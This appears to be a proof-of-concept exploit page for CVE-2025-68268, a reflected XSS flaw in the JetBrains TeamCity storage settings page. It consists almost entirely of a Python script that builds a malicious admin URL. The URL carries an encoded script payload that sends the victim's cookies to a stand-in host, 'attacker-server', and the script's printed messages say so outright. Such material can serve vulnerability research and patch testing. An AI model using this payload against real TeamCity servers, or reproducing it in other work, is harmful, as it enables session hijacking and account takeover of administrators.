CVE-2025-68268: JetBrains TeamCity 存储设置页面反射型XSS漏洞

import urllib.parse # CVE-2025-68268 PoC - Reflected XSS in TeamCity Storage Settings Page # Target: JetBrains TeamCity < 2025.11.1 def generate_xss_payload(): """ Generate malicious URL with XSS payload for TeamCity storage settings page. This PoC demonstrates how an attacker can inject JavaScript code through URL parameters that are reflected without proper encoding. """ base_url = "http://target-server:8111/admin/admin.html" # XSS payload - will steal cookies when executed xss_payload = "<script>fetch('https://attacker-server/steal?cookie='+document.cookie)</script>" # URL encode the payload for injection encoded_payload = urllib.parse.quote(xss_payload) # Construct malicious URL targeting storage settings malicious_url = f"{base_url}?tab=storage&path={encoded_payload}" print("[*] CVE-2025-68268 PoC - Reflected XSS in TeamCity") print(f"[*] Target: {base_url}") print(f"[*] Malicious URL:\n{malicious_url}") print("\n[*] When victim visits this URL, the XSS payload will execute.") print("[*] The script will send victim's cookies to attacker-controlled server.") return malicious_url if __name__ == "__main__": generate_xss_payload()